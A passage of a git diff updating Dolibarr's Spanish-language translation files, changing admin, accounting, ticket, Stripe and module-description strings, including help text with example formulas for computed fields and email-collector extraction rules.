      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Otro ejemplo de fórmula para forzar la carga del objeto y su objeto principal:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Proyecto principal no encontrado' Computedpersistent=Almacenar campo calculado ComputedpersistentDesc=Los campos adicionales calculados se almacenarán en la base de datos, sin embargo, el valor solo se volverá a calcular cuando se cambie el objeto de este campo. ¡Si el campo calculado depende de otros objetos o datos globales, este valor podría estar equivocado! ExtrafieldParamHelpPassword=Dejar este campo en blanco significa que este valor se almacenará sin cifrado (el campo solo debe estar oculto con una estrella en la pantalla).
      Establezca 'auto' para usar la regla de cifrado predeterminada para guardar la contraseña en la base de datos (entonces el valor leído será el hash solo, no hay forma de recuperar el valor original) @@ -363,7 +362,6 @@ PageUrlForDefaultValuesCreate=Ejemplo:
      Para el formulario para crear un nue PageUrlForDefaultValuesList=
      Ejemplo:
      Para la página que enumera a terceros, es %s .
      Para la URL de los módulos externos instalados en el directorio personalizado, no incluya la "personalización /" por lo que use una ruta como mymodule / mypagelist.php y no custom / mymodule / mypagelist.php.
      Si desea un valor predeterminado solo si url tiene algún parámetro, puede usar %s < / fuerte> AlsoDefaultValuesAreEffectiveForActionCreate=También tenga en cuenta que la sobrescritura de los valores predeterminados para la creación de formularios funciona solo para páginas que se diseñaron correctamente (así que con el parámetro action=create or presend...) EnableDefaultValues=Habilitar la personalización de los valores por defecto. -EnableOverwriteTranslation=Habilitar el uso de traducción sobrescrita GoIntoTranslationMenuToChangeThis=Se ha encontrado una traducción para la clave con este código. Para cambiar este valor, debe editarlo desde Home-Setup-translation. WarningSettingSortOrder=Advertencia: establecer un orden predeterminado puede resultar en un error técnico al pasar a la página de la lista si no hay campo. Si experimenta este error, haga clic aquí para eliminar el orden predeterminado y restaurar el comportamiento predeterminado. ProductDocumentTemplates=Plantillas para generar documento de producto @@ -450,9 +448,7 @@ Module2300Desc=Gestión de trabajos programados (alias cron o chrono table) Module2400Name=Eventos / Agenda Module2400Desc=Eventos de pista. Registre eventos automáticos con fines de seguimiento o registre eventos o reuniones manuales. Este es el módulo principal para una buena gestión de relaciones con clientes o proveedores. Module2500Desc=Sistema de gestión de documentos / gestión electrónica de contenidos. Organización automática de sus documentos generados o almacenados. Compártelos cuando lo necesites. -Module2600Name=API / Servicios Web (servidor SOAP) Module2600Desc=Habilitar el servidor SOAP de Dolibarr que servicios servicios API -Module2610Name=API / Servicios Web (servidor REST) Module2610Desc=Habilitar el servidor REST de Dolibarr que servicios servicios API Module2660Name=Servicios Web de llamadas (cliente SOAP) Module2660Desc=Habilite el cliente de servicios web de Dolibarr (puede usarse para enviar datos / solicitudes a servidores externos. Actualmente solo se admiten pedidos de compra). @@ -479,7 +475,6 @@ Module55000Desc=Cree encuestas en línea, encuestas o votos (como Doodle, Studs, Module60000Desc=Módulo para gestionar las comisiones Module62000Desc=Añadir características para gestionar Incoterms. Module63000Desc=Gestionar recursos (impresoras, coches, salas, ...) para asignar a eventos. -Permission11=Leer facturas de clientes Permission12=Crear / modificar facturas de clientes Permission14=Validar facturas de clientes Permission15=Enviar facturas de cliente por correo electrónico @@ -585,7 +580,7 @@ Permission282=Crear / modificar contactos Permission291=Leer tarifas Permission292=Establecer permisos en las tarifas Permission293=Modificar las tarifas del cliente. -Permission301=Crear / modificar códigos de barras +Permission304=Crear / modificar códigos de barras Permission311=Leer servicios Permission312=Asignar servicio / suscripción al contrato. Permission331=Leer marcadores @@ -640,7 +635,6 @@ Permission1188=Eliminar pedidos de compra Permission1190=Aprobar (segunda aprobación) órdenes de compra Permission1201=Obtener el resultado de una exportación Permission1202=Crear / Modificar una exportación -Permission1231=Leer facturas de proveedores Permission1232=Crear / modificar facturas de proveedores Permission1233=Validar facturas de proveedores Permission1234=Eliminar facturas de proveedores @@ -1175,7 +1169,6 @@ DetailId=Identificación del menú DetailMenuHandler=Manejador de menús donde mostrar el nuevo menú DetailMenuModule=Nombre del módulo DetailTitre=Etiqueta de menú o código de etiqueta para la traducción -DetailUrl=URL donde el menú te envía (enlace URL absoluto o enlace externo con http: //) DetailEnabled=Condición para mostrar o no la entrada DetailRight=Condición para mostrar menús grises no autorizados DetailLangs=Nombre de archivo Lang para la traducción de código de etiqueta @@ -1252,7 +1245,6 @@ SuppliersCommandModelMuscadet=Plantilla completa de la orden de compra (antigua SuppliersInvoiceModel=Plantilla completa de factura de proveedor SuppliersInvoiceNumberingModel=Facturas de proveedores de numeración de modelos. IfSetToYesDontForgetPermission=Si se establece en un valor no nulo, no olvide proporcionar permisos a grupos o usuarios permitidos para la segunda aprobación -PathToGeoIPMaxmindCountryDataFile=Ruta al archivo que contiene Maxmind ip a la traducción del país.
      Ejemplos:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb NoteOnPathLocation=Tenga en cuenta que su IP es un archivo de datos de un país debe estar en un directorio que su PHP puede leer. YouCanDownloadFreeDatFileTo=Puede descargar una versión de demostración gratuita del archivo de país Maxmind GeoIP en %s. YouCanDownloadAdvancedDatFileTo=También puede descargar una versión más completa, con actualizaciones, del archivo de país Maxmind GeoIP en %s. @@ -1396,7 +1388,6 @@ NbOfEmailsInInbox=Número de correos electrónicos en el directorio de origen LoadThirdPartyFromName=Cargue la búsqueda de terceros en %s (solo carga) LoadThirdPartyFromNameOrCreate=Cargue la búsqueda de terceros en %s (crear si no se encuentra) ECMAutoTree=Mostrar arbol ECM automatico -OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. OpeningHoursDesc=Ingrese aquí los horarios regulares de su empresa. ResourceSetup=Configuración del módulo de recursos UseSearchToSelectResource=Use un formulario de búsqueda para elegir un recurso (en lugar de una lista desplegable). @@ -1421,7 +1412,6 @@ EXPORTS_SHARE_MODELS=Los modelos de exportación se comparten con todos ExportSetup=Configuración del módulo Exportar InstanceUniqueID=ID único de la instancia WithGMailYouCanCreateADedicatedPassword=Con una cuenta de GMail, si habilitó la validación de 2 pasos, se recomienda crear una segunda contraseña dedicada para la aplicación en lugar de usar la contraseña de su propia cuenta de https://myaccount.google.com/. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      EndPointFor=Punto final para %s: %s DeleteEmailCollector=Eliminar recopilador de correo electrónico ConfirmDeleteEmailCollector=¿Estás seguro de que deseas eliminar este recopilador de correo electrónico? diff --git a/htdocs/langs/es_EC/compta.lang b/htdocs/langs/es_EC/compta.lang index 9ea4d2f1ac1..b858dee0247 100644 --- a/htdocs/langs/es_EC/compta.lang +++ b/htdocs/langs/es_EC/compta.lang @@ -22,6 +22,7 @@ PaymentsNotLinkedToUser=Pagos no vinculados a ningún usuario Profit=Ganacias Debit=Débito Credit=Crédito +AccountingDebit=Débito Piece=Documentos Contables AmountHTVATRealReceived=Neto recaudado AmountHTVATRealPaid=Neto pagado @@ -170,12 +171,7 @@ CalculationRuleDescSupplier=Según el proveedor, elija el método apropiado para TurnoverPerProductInCommitmentAccountingNotRelevant=El informe de la facturación obtenida por producto no está disponible. Este informe solo está disponible para facturación facturada. TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=El informe de Facturación recaudada por tasa de impuesto a la venta IVA no está disponible. Este informe solo está disponible para facturación facturada. AccountancyJournal=Diario de código de contabilidad -ACCOUNTING_VAT_SOLD_ACCOUNT=Cuenta de contabilidad de forma predeterminada para el IVA sobre las ventas (se usa si no está definido en la configuración del diccionario de IVA) -ACCOUNTING_VAT_BUY_ACCOUNT=Cuenta de contabilidad de forma predeterminada para el IVA en compras (se usa si no está definido en la configuración del diccionario de IVA) -ACCOUNTING_VAT_PAY_ACCOUNT=Cuenta contable por defecto para el pago del IVA -ACCOUNTING_ACCOUNT_CUSTOMER=Cuenta de contabilidad utilizada para terceros clientes ACCOUNTING_ACCOUNT_CUSTOMER_Desc=La cuenta contable dedicada definida en la tarjeta de clientes/proveedores se utilizará solo para la contabilidad de Libro Mayor Auxiliar. Este se usará para el Libro Mayor General y como valor predeterminado de la contabilidad del Libro Mayor Auxiliar si no se define una cuenta de cuenta del cliente dedicada a un clientes/proveedores. -ACCOUNTING_ACCOUNT_SUPPLIER=Cuenta de contabilidad utilizada para clientes/proveedores ACCOUNTING_ACCOUNT_SUPPLIER_Desc=La cuenta de contabilidad dedicada definida en la tarjeta de un tercero se usará solo para la contabilidad del Libro auxiliar. Este se usará para el Libro mayor y como valor predeterminado de la contabilidad del libro auxiliar si no se define la cuenta de contabilidad del proveedor dedicada en un tercero. ConfirmCloneTax=Confirmar clonar un impuesto social/fiscal. CloneTaxForNextMonth=Clonarlo para el próximo mes diff --git a/htdocs/langs/es_EC/datapolicy.lang b/htdocs/langs/es_EC/datapolicy.lang new file mode 100644 index 00000000000..960b06beb61 --- /dev/null +++ b/htdocs/langs/es_EC/datapolicy.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - datapolicy +DATAPOLICY_TIERS_PROSPECT =Prospecto +DATAPOLICY_CONTACT_PROSPECT =Prospecto diff --git a/htdocs/langs/es_EC/ecm.lang b/htdocs/langs/es_EC/ecm.lang index 7f8d9157910..0fea60981c8 100644 --- a/htdocs/langs/es_EC/ecm.lang +++ b/htdocs/langs/es_EC/ecm.lang @@ -5,7 +5,6 @@ ECMCreationDate=Fecha de creación ECMNbOfFilesInSubDir=Número de archivos en subdirectorios ECMArea=Área de DMS/ECM ECMAreaDesc=El área SGD/GCE (Sistema de Gestión de Documentos / Gestión de Contenido Electrónico) le permite guardar, compartir y buscar rápidamente todo tipo de documentos en Dolibarr. -ECMAreaDesc2=* Los directorios automáticos se rellenan automáticamente al agregar documentos desde la tarjeta de un elemento.
      * Los directorios manuales se pueden utilizar para guardar documentos no vinculados a un elemento en particular. ECMSectionWasRemoved=Se ha eliminado el directorio %s. ECMSectionWasCreated=Directorio %s ha sido creado. ECMSearchByKeywords=Búsqueda por palabras clave diff --git a/htdocs/langs/es_EC/hrm.lang b/htdocs/langs/es_EC/hrm.lang index 4e07ce80a63..b78f354ab22 100644 --- a/htdocs/langs/es_EC/hrm.lang +++ b/htdocs/langs/es_EC/hrm.lang @@ -3,4 +3,3 @@ HRM_EMAIL_EXTERNAL_SERVICE=Correo electrónico para prevenir el servicio externo ConfirmDeleteEstablishment=¿Estás seguro de que deseas eliminar este establecimiento? OpenEtablishment=Establecimiento abierto HrmSetup=Configuración del módulo de RRHH (Recursos Humanos) -JobPosition=Trabajo diff --git a/htdocs/langs/es_EC/install.lang b/htdocs/langs/es_EC/install.lang index f50b423e828..ff82bda217d 100644 --- a/htdocs/langs/es_EC/install.lang +++ b/htdocs/langs/es_EC/install.lang @@ -68,7 +68,7 @@ WithNoSlashAtTheEnd=Sin la barra "/" al final DirectoryRecommendation= IMPORTANTE: debe usar un directorio que esté fuera de las páginas web (por lo tanto, no use un subdirectorio del parámetro anterior). AdminLoginAlreadyExists=La cuenta de administrador de Dolibarr '%s' ya existe. Regrese si quiere crear otro. FailedToCreateAdminLogin=Error al crear la cuenta de administrador de Dolibarr. -WarningRemoveInstallDir=Advertencia, por razones de seguridad, una vez que se complete la instalación o actualización, debe agregar un archivo llamado install.lock en el directorio de documentos de Dolibarr para evitar nuevamente el uso accidental / malicioso de las herramientas de instalación. +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. ChoosedMigrateScript=Elegir secuencia de comandos de migración DataMigration=Migración de base de datos (datos) DatabaseMigration=Migración de la base de datos (estructura + algunos datos) diff --git a/htdocs/langs/es_EC/loan.lang b/htdocs/langs/es_EC/loan.lang index cc9ea776587..8a93714635f 100644 --- a/htdocs/langs/es_EC/loan.lang +++ b/htdocs/langs/es_EC/loan.lang @@ -17,7 +17,4 @@ AddLoan=Crear préstamo FinancialCommitment=Compromiso financiero InterestAmount=Interes ConfigLoan=Configuración del módulo préstamo -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Capital de cuenta contable por defecto -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Interés de la cuenta contable por defecto -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Seguro de cuenta contable por defecto CreateCalcSchedule=Edita el compromiso financiero diff --git a/htdocs/langs/es_EC/main.lang b/htdocs/langs/es_EC/main.lang index 267de4cddeb..efe82c21ed2 100644 --- a/htdocs/langs/es_EC/main.lang +++ b/htdocs/langs/es_EC/main.lang @@ -131,7 +131,6 @@ Choose=Escoger Resize=Cambiar el tamaño ResizeOrCrop=Cambiar el tamaño o el cultivo NoUserGroupDefined=No se ha definido ningún grupo de usuarios -PasswordRetype=Reescribe tu contraseña NoteSomeFeaturesAreDisabled=Tenga en cuenta que una gran cantidad de funciones/módulos están deshabilitados en esta demostración. Parameters=parámetros PersonalValue=Valor personal @@ -478,8 +477,6 @@ ClassifyBilled=Clasificar facturas ClassifyUnbilled=Clasificar sin facturar ExportFilteredList=Exportar lista filtrada ExportList=Exportar lista -ExportOfPiecesAlreadyExportedIsEnable=La exportación de piezas ya exportadas está habilitada -ExportOfPiecesAlreadyExportedIsDisable=La exportación de piezas ya exportadas está desactivada AllExportedMovementsWereRecordedAsExported=Todos los movimientos exportados se registraron como exportados NotAllExportedMovementsCouldBeRecordedAsExported=No todos los movimientos exportados pueden registrarse como exportados Miscellaneous=Varios @@ -553,6 +550,11 @@ ContactDefault_order_supplier=Orden de compra ContactDefault_propal=Propuesta ContactDefault_supplier_proposal=Propuesta de proveedor ContactAddedAutomatically=Contacto agregado de roles de terceros de contacto +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) ClientTZ=Zona horaria del cliente Terminate=Terminar Terminated=Terminado diff --git a/htdocs/langs/es_EC/members.lang b/htdocs/langs/es_EC/members.lang index cef882cd636..30baa83214c 100644 --- a/htdocs/langs/es_EC/members.lang +++ b/htdocs/langs/es_EC/members.lang @@ -59,7 +59,6 @@ YourMembershipWasCanceled=Su membresía fue cancelada CardContent=Contenido de su tarjeta de miembro ThisIsContentOfYourMembershipRequestWasReceived=Queremos informarle que se recibió su solicitud de membresía.

      ThisIsContentOfYourMembershipWasValidated=Queremos informarle que su membresía fue validada con la siguiente información:

      -ThisIsContentOfYourSubscriptionWasRecorded=Queremos informarle que su nueva suscripción fue guardada.

      ThisIsContentOfSubscriptionReminderEmail=Queremos informarle que su suscripción está a punto de caducar o que ya caducó (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). Esperamos que lo renueves.

      ThisIsContentOfYourCard=Este es un resumen de la información que tenemos sobre usted. Por favor contáctenos si algo es incorrecto.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Asunto del correo electrónico de notificación recibido en caso de autoinscripción de un invitado @@ -93,7 +92,6 @@ MenuMembersStats=Estadística NewMemberbyWeb=Nuevo miembro añadido. Esperando aprobacion NewMemberForm=Formulario para nuevos miembros TurnoverOrBudget=Facturación (para una empresa) o Presupuesto (para una fundación) -MEMBER_NEWFORM_PAYONLINE=Ir a la página de pago en línea integrada MembersStatisticsByProperties=Estadísticas de miembros por naturaleza NoEmailSentToMember=No se envió ningún correo electrónico al miembro EmailSentToMember=Correo electrónico enviado a un miembro en %s diff --git a/htdocs/langs/es_EC/mrp.lang b/htdocs/langs/es_EC/mrp.lang index 136c443a5d8..19bc4e5ab16 100644 --- a/htdocs/langs/es_EC/mrp.lang +++ b/htdocs/langs/es_EC/mrp.lang @@ -4,8 +4,6 @@ MenuBOM=Facturas de material LatestBOMModified=Últimas listas de materiales modificados %s LatestMOModified=Últimas órdenes de fabricación %s modificadas Bom=Facturas de material -ListOfBOMs=Lista de listas de materiales - BOM -ListOfManufacturingOrders=Lista de pedidos de fabricación BOMsNumberingModules=Plantillas de numeración BOM BOMsModelModule=Plantillas de documentos BOM MOsNumberingModules=Plantillas de numeración MO diff --git a/htdocs/langs/es_EC/projects.lang b/htdocs/langs/es_EC/projects.lang index c87a5444272..7a2e1f5293f 100644 --- a/htdocs/langs/es_EC/projects.lang +++ b/htdocs/langs/es_EC/projects.lang @@ -73,7 +73,6 @@ TaskHasChild=La tarea tiene subcategorias NotOwnerOfProject=No propietario de este proyecto privado ConfirmValidateProject=¿Está seguro de que desea validar este proyecto? ConfirmCloseAProject=¿Estás seguro de que quieres cerrar este proyecto? -AlsoCloseAProject=También cierre el proyecto (manténgalo abierto si todavía necesita seguir las tareas de producción en él) ReOpenAProject=Proyecto abierto ConfirmReOpenAProject=¿Está seguro de que desea volver a abrir este proyecto? ActionsOnProject=Eventos en el proyecto @@ -153,7 +152,6 @@ OpportunityPonderatedAmount=Cantidad ponderada de clientes potenciales OpportunityPonderatedAmountDesc=Cantidad de clientes potenciales ponderada con probabilidad OppStatusQUAL=Calificación OppStatusPROPO=Propuesta -AllowToLinkFromOtherCompany=Permitir vincular proyecto desde otra empresa

      Valores admitidos:
      - Mantener vacío: Puede vincular cualquier proyecto de la empresa (predeterminado)
      - "todos": puede vincular cualquier proyecto, incluso proyectos de otras empresas
      - Una lista de identificadores de terceros separados por comas: puede vincular todos los proyectos de estos terceros (Ejemplo: 123,4795,53)
      LatestProjects=Últimos %s proyectos LatestModifiedProjects=Últimos proyectos modificados %s NoAssignedTasks=No se encontraron tareas asignadas (asigne proyectos / tareas al usuario actual desde el cuadro de selección superior para ingresar el tiempo) diff --git a/htdocs/langs/es_EC/propal.lang b/htdocs/langs/es_EC/propal.lang index 79174992708..8b38cd39f9f 100644 --- a/htdocs/langs/es_EC/propal.lang +++ b/htdocs/langs/es_EC/propal.lang @@ -5,7 +5,7 @@ ProposalShort=Propuesta ProposalsDraft=Proyecto de anuncios comerciales ProposalsOpened=Abrir propuestas comerciales CommercialProposal=Propuesta comercial -PdfCommercialProposalTitle=Propuesta comercial +PdfCommercialProposalTitle=Propuesta ProposalCard=Tarjeta de propuesta NewProp=Nueva propuesta comercial NewPropal=Nueva propuesta @@ -59,9 +59,10 @@ TypeContact_propal_internal_SALESREPFOLL=Propuestas de seguimiento representativ TypeContact_propal_external_BILLING=Contacto de factura de cliente TypeContact_propal_external_CUSTOMER=Contacto con el cliente TypeContact_propal_external_SHIPPING=Contacto con el cliente para la entrega -DocModelAzurDescription=Un modelo de propuesta completo (implementación anterior de la plantilla Cyan) -DocModelCyanDescription=Un modelo de propuesta completo +DefaultModelPropalClosed=Plantilla predeterminada al cerrar una propuesta empresarial (no facturada) DefaultModelPropalCreate=Creación de modelo predeterminada DefaultModelPropalToBill=Plantilla predeterminada al cerrar una propuesta empresarial (a facturar) -DefaultModelPropalClosed=Plantilla predeterminada al cerrar una propuesta empresarial (no facturada) +DocModelAzurDescription=Un modelo de propuesta completo (implementación anterior de la plantilla Cyan) +DocModelCyanDescription=Un modelo de propuesta completo +NoSign=Desperdicios ProposalsStatisticsSuppliers=Estadísticas de propuestas de proveedores diff --git a/htdocs/langs/es_EC/salaries.lang b/htdocs/langs/es_EC/salaries.lang index ac9132ea254..08cb40fde6f 100644 --- a/htdocs/langs/es_EC/salaries.lang +++ b/htdocs/langs/es_EC/salaries.lang @@ -1,6 +1,4 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Contabilidad utilizada para cliente/proveedor usuarios -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=La cuenta de contabilidad dedicada definida en la tarjeta de usuario se usará solo para la contabilidad de Libro mayor auxiliar. Este se usará para el Libro mayor y como valor predeterminado de la contabilidad del Libro mayor auxiliar si no se define una cuenta de usuario dedicada en el usuario. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Cuenta de contabilidad por defecto para pagos de sueldos Salary=Sueldo Salaries=Sueldos diff --git a/htdocs/langs/es_EC/stripe.lang b/htdocs/langs/es_EC/stripe.lang index 66061813b5a..7773d475ebf 100644 --- a/htdocs/langs/es_EC/stripe.lang +++ b/htdocs/langs/es_EC/stripe.lang @@ -18,7 +18,7 @@ STRIPE_LIVE_WEBHOOK_KEY=Webhook clave en vivo ONLINE_PAYMENT_WAREHOUSE=Stock para usar en la disminución de inventario cuando se realiza el pago en línea
      (TODO Cuando la opción para disminuir el inventario se realiza en una acción en la factura y el pago en línea se genera la factura?) StripeLiveEnabled=Stripe activado en vivo (de lo contrario modo prueba/sandbox) StripeImportPayment=Importar pagos en franja -ExampleOfTestCreditCard=Ejemplo de tarjeta de crédito para prueba: %s => válido, %s => error CVC, %s => vencido, %s => el cargo falla +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails StripeGateways=Gateways de Tripe BankAccountForBankTransfer=Cuenta bancaria para pagos de fondos StripeAccount=Cuenta de Stripe @@ -32,3 +32,4 @@ StripeUserAccountForActions=Cuenta de usuario para usar para la notificación po ToOfferALinkForTestWebhook=Enlace para configurar Stripe WebHook para llamar a IPN (modo de prueba) ToOfferALinkForLiveWebhook=Enlace para configurar Stripe WebHook para llamar a IPN (modo en vivo) ClickHereToTryAgain=Haga clic aquí para volver a intentarlo... +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/es_EC/ticket.lang b/htdocs/langs/es_EC/ticket.lang index 29b388752e1..470034bd186 100644 --- a/htdocs/langs/es_EC/ticket.lang +++ b/htdocs/langs/es_EC/ticket.lang @@ -52,8 +52,6 @@ TicketHistory=Historial de tickets TicketAssigned=Ticket ahora está asignado TicketChangeCategory=Cambiar código analítico TicketChangeSeverity=Cambiar severidad -TicketAddMessage=Añade un mensaje -AddMessage=Añade un mensaje MessageSuccessfullyAdded=Ticket agregado TicketMessageSuccessfullyAdded=Mensaje agregado con éxito TicketMessagesList=Lista de mensajes @@ -65,6 +63,7 @@ TicketDurationAutoInfos=Duración calculada automáticamente a partir de interve SendMessageByEmail=Enviar mensaje por correo electrónico ErrorMailRecipientIsEmptyForSendTicketMessage=El destinatario está vacío. No se envio el correo electrónico TicketMessageMailIntroHelp=Este texto se agrega solo al comienzo del correo electrónico y no se guardará. +TicketMessageMailFooterHelpAdmin=Este texto se inserta después del mensaje de respuesta. TicketMessageHelp=Solo este texto se guardará en la lista de mensajes en la tarjeta de tickets. TicketTimeToRead=Tiempo transcurrido antes de leer TicketContacts=Boleto de contactos @@ -94,7 +93,6 @@ TicketNewEmailBodyCustomer=Este es un correo electrónico automático para confi TicketNewEmailBodyInfosTicket=Información para monitorear el boleto TicketEmailPleaseDoNotReplyToThisEmail=¡Por favor no responda directamente a este correo! Usa el enlace para responder a la interfaz. TicketPublicInfoCreateTicket=Este formulario le permite registrar un ticket de soporte en nuestro sistema de gestión. -TicketPublicPleaseBeAccuratelyDescribe=Por favor, describa con precisión el problema. Proporcionar la mayor cantidad de información posible que nos permita recibirla de forma incorrecta. TicketPublicMsgViewLogIn=Ingrese el ID de seguimiento de tickets TicketTrackId=ID de seguimiento público OneOfTicketTrackId=Uno de su ID de seguimiento diff --git a/htdocs/langs/es_EC/users.lang b/htdocs/langs/es_EC/users.lang index b212c2d9aaa..28f9a6c1fab 100644 --- a/htdocs/langs/es_EC/users.lang +++ b/htdocs/langs/es_EC/users.lang @@ -44,7 +44,6 @@ ListOfGroupsForUser=Lista de grupos de este usuario LinkToCompanyContact=Enlace a un tercero / contacto LinkedToDolibarrMember=Enlace al miembro CreateDolibarrLogin=Crear un usuario -LoginAccountDisableInDolibarr=Cuenta desactivada en Dolibarr. UsePersonalValue=Usar valor personal DomainUser=Usuario del dominio %s CreateInternalUserDesc=Este formulario le permite crear un usuario interno en su empresa / organización. Para crear un usuario externo (cliente, proveedor, etc.), use el botón 'Crear usuario Dolibarr' de la tarjeta de contacto de ese tercero. diff --git a/htdocs/langs/es_ES/accountancy.lang b/htdocs/langs/es_ES/accountancy.lang index 93133071f7b..7c5b09a8e40 100644 --- a/htdocs/langs/es_ES/accountancy.lang +++ b/htdocs/langs/es_ES/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Seleccione el tipo de retorno de carro ACCOUNTING_EXPORT_PREFIX_SPEC=Especifique el prefijo del nombre de archivo ThisService=Este servicio ThisProduct=Este producto -DefaultForService=Predeterminado para el servicio -DefaultForProduct=Predeterminado para el producto +DefaultForService=Predeterminado para servicios +DefaultForProduct=Predeterminado para productos ProductForThisThirdparty=Producto para este tercero ServiceForThisThirdparty=Servicio para este tercero CantSuggest=No se puede sugerir @@ -59,6 +59,7 @@ MainAccountForSuppliersNotDefined=Cuenta contable para proveedores no definida e MainAccountForUsersNotDefined=Cuenta contable para usuarios no definida en la configuración MainAccountForVatPaymentNotDefined=Cuenta contable para IVA no definida en la configuración MainAccountForSubscriptionPaymentNotDefined=Cuenta contable para subscripciones no definida en la configuración +UserAccountNotDefined=Cuenta contable para usuarios no definida en la configuración AccountancyArea=Área contabilidad AccountancyAreaDescIntro=El uso del módulo de contabilidad se realiza en varios pasos: @@ -100,7 +101,8 @@ ShowAccountingAccount=Mostrar diario de cuentas ShowAccountingJournal=Mostrar diario contable ShowAccountingAccountInLedger=Mostrar cuenta contable en el libro mayor ShowAccountingAccountInJournals=Mostrar cuenta contable en diarios -AccountAccountingSuggest=Cuenta contable sugerida +DataUsedToSuggestAccount=Datos utilizados para sugerir la cuenta +AccountAccountingSuggest=Cuenta sugerida MenuDefaultAccounts=Cuentas contables por defecto MenuBankAccounts=Cuentas Bancarias MenuVatAccounts=Cuentas de IVA @@ -125,6 +127,7 @@ WriteBookKeeping=Registrar transacciones en contabilidad. Bookkeeping=Libro Mayor BookkeepingSubAccount=Libro mayor auxiliar AccountBalance=Saldo de la cuenta +AccountBalanceSubAccount=Saldo de subcuentas ObjectsRef=Referencia de objeto origen CAHTF=Total compras a proveedor antes de impuestos TotalExpenseReport=Total informe de gastos @@ -164,42 +167,45 @@ ACCOUNTANCY_COMBO_FOR_AUX=Habilite la lista combinada para la cuenta subsidiaria ACCOUNTING_DATE_START_BINDING=Defina una fecha para comenzar a vincular y transferir en contabilidad. Por debajo de esta fecha, las transacciones no se transferirán a contabilidad. ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=En la transferencia de contabilidad, ¿cuál es el período seleccionado por defecto? -ACCOUNTING_SELL_JOURNAL=Diario de ventas -ACCOUNTING_PURCHASE_JOURNAL=Diario de compras -ACCOUNTING_MISCELLANEOUS_JOURNAL=Diario de operaciones diversas +ACCOUNTING_SELL_JOURNAL=Sales journal - sales and returns +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal - purchase and returns +ACCOUNTING_BANK_JOURNAL=Cash journal - receipts and disbursements ACCOUNTING_EXPENSEREPORT_JOURNAL=Informe de gastos diario -ACCOUNTING_SOCIAL_JOURNAL=Diario social +ACCOUNTING_MISCELLANEOUS_JOURNAL=Diario general ACCOUNTING_HAS_NEW_JOURNAL=Tiene un nuevo diario +ACCOUNTING_INVENTORY_JOURNAL=Diario de inventario +ACCOUNTING_SOCIAL_JOURNAL=Diario social ACCOUNTING_RESULT_PROFIT=Cuenta contable de resultados (Ganancias) ACCOUNTING_RESULT_LOSS=Cuenta contable de resultados (Pérdidas) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Diario de cierre -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Cuenta de caja +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Cuenta (del Plan Contable) que se utilizará como cuenta para transferencias bancarias transitorias TransitionalAccount=Cuenta de transferencia bancaria de transición -ACCOUNTING_ACCOUNT_SUSPENSE=Cuenta operaciones pendientes de asignar -DONATION_ACCOUNTINGACCOUNT=Cuenta contable para registrar donaciones -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Cuenta contable para registrar subscripciones +ACCOUNTING_ACCOUNT_SUSPENSE=Cuenta (del Plan Contable) que se utilizará como cuenta para fondos no asignados recibidos o pagados, es decir, fondos "en espera" +DONATION_ACCOUNTINGACCOUNT=Cuenta (del Plan Contable) que se utilizará para registrar donaciones (módulo de donaciones) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Cuenta (del Plan Contable) que se utilizará para registrar las suscripciones de membresía (módulo de membresía, si la membresía se registró sin factura) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Cuenta contable por defecto para registrar el anticipo del cliente +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Cuenta (del Plan Contable) que se utilizará como cuenta predeterminada para registrar el depósito del cliente UseAuxiliaryAccountOnCustomerDeposit=Almacene la cuenta del 